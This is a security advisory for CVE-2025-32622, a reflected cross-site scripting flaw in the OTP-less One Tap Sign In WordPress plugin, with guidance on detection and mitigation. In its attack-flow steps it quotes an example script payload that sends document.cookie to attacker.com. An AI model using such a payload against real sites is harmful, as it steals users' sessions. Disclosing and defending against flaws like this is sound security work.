CVE-2025-32622: OTP-less One Tap Sign-In XSS Vulnerability

CVE-2025-32622 Overview

CVE-2025-32622 is a Reflected Cross-Site Scripting (XSS) vulnerability affecting the OTP-less One Tap Sign In plugin for WordPress. The vulnerability stems from improper neutralization of user input during web page generation, allowing attackers to inject malicious scripts that execute in the context of a victim's browser session. This flaw enables attackers to craft malicious URLs that, when clicked by authenticated users, can lead to session hijacking, credential theft, or unauthorized actions within the WordPress administration interface.

Critical Impact

Attackers can exploit this Reflected XSS vulnerability to steal session cookies, hijack user accounts, deface websites, or redirect users to malicious sites by tricking them into clicking specially crafted links.

Affected Products

• OTP-less One Tap Sign In WordPress Plugin versions through 2.0.58
• WordPress installations using vulnerable versions of the otpless plugin
• Sites utilizing OTP-less authentication functionality

Discovery Timeline

• 2025-04-17 - CVE CVE-2025-32622 published to NVD
• 2026-04-23 - Last updated in NVD database

Technical Details for CVE-2025-32622

Vulnerability Analysis

This vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), commonly known as Cross-Site Scripting. The Reflected XSS variant occurs when user-supplied data is immediately returned by the web application in an error message, search result, or other response that includes input provided by the user as part of the request. The OTP-less plugin fails to properly sanitize or encode user-controlled input before reflecting it back in the HTML response, allowing JavaScript code to be injected and executed in the victim's browser.

The network-based attack vector requires user interaction, as the victim must click on a malicious link containing the XSS payload. Once triggered, the malicious script executes with the same privileges as the authenticated user, potentially compromising confidentiality, integrity, and availability of the affected WordPress installation.

Root Cause

The root cause of this vulnerability lies in insufficient input validation and output encoding within the OTP-less One Tap Sign In plugin. When processing user-supplied parameters, the plugin fails to sanitize special characters such as <, >, ", and ' that can be used to break out of HTML contexts and inject executable JavaScript. The lack of proper escaping functions like esc_html(), esc_attr(), or wp_kses() in WordPress allows raw user input to be rendered in the page output.

Attack Vector

The attack vector is network-based and requires social engineering to trick a victim into clicking a malicious URL. An attacker constructs a URL containing JavaScript payload within a vulnerable parameter of the OTP-less plugin. When an authenticated WordPress user clicks this link, the malicious script executes in their browser session.

The attack flow typically involves:

1. Attacker identifies a vulnerable parameter in the OTP-less plugin that reflects user input
2. Attacker crafts a malicious URL containing JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>)
3. Attacker distributes the malicious link via phishing emails, social media, or other channels
4. Victim clicks the link while authenticated to the WordPress site
5. Malicious script executes, potentially stealing session tokens or performing actions on behalf of the victim

For detailed technical information about this vulnerability, refer to the Patchstack Vulnerability Report.

Detection Methods for CVE-2025-32622

Indicators of Compromise

• Unusual JavaScript execution or script tags appearing in server access logs with plugin-related URLs
• Suspicious URL patterns containing encoded script tags (%3Cscript%3E) targeting the otpless plugin endpoints
• User reports of unexpected redirects or browser behavior when interacting with authentication features
• Authentication anomalies or session hijacking attempts following suspicious link clicks

Detection Strategies

• Deploy Web Application Firewalls (WAF) with XSS signature detection rules to block requests containing script injection patterns
• Implement Content Security Policy (CSP) headers to restrict inline script execution and report violations
• Monitor server access logs for requests containing suspicious XSS patterns such as <script>, javascript:, or event handlers
• Use automated vulnerability scanners to identify unpatched versions of the OTP-less plugin

Monitoring Recommendations

• Enable real-time alerting for WAF rule triggers related to XSS attack patterns
• Configure CSP reporting to capture and analyze policy violation attempts
• Monitor WordPress admin activity logs for unauthorized actions that may indicate successful XSS exploitation
• Set up alerts for unusual authentication patterns or session anomalies

How to Mitigate CVE-2025-32622

Immediate Actions Required

• Update the OTP-less One Tap Sign In plugin to a patched version beyond 2.0.58 immediately
• Review server access logs for evidence of exploitation attempts targeting the vulnerable plugin
• Consider temporarily disabling the OTP-less plugin if an update is not immediately available
• Implement Web Application Firewall rules to block known XSS attack patterns

Patch Information

Organizations should update the OTP-less One Tap Sign In WordPress plugin to the latest available version that addresses this Reflected XSS vulnerability. The vulnerability affects all versions through 2.0.58. Check the Patchstack Vulnerability Report for the latest patch status and remediation guidance.

Workarounds

• Implement strict Content Security Policy (CSP) headers to prevent inline script execution
• Deploy a Web Application Firewall with XSS filtering capabilities
• Restrict access to WordPress admin interfaces to trusted IP addresses only
• Educate users about the risks of clicking untrusted links, especially those containing unusual URL parameters

# WordPress Content Security Policy configuration example
# Add to .htaccess or server configuration
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self';"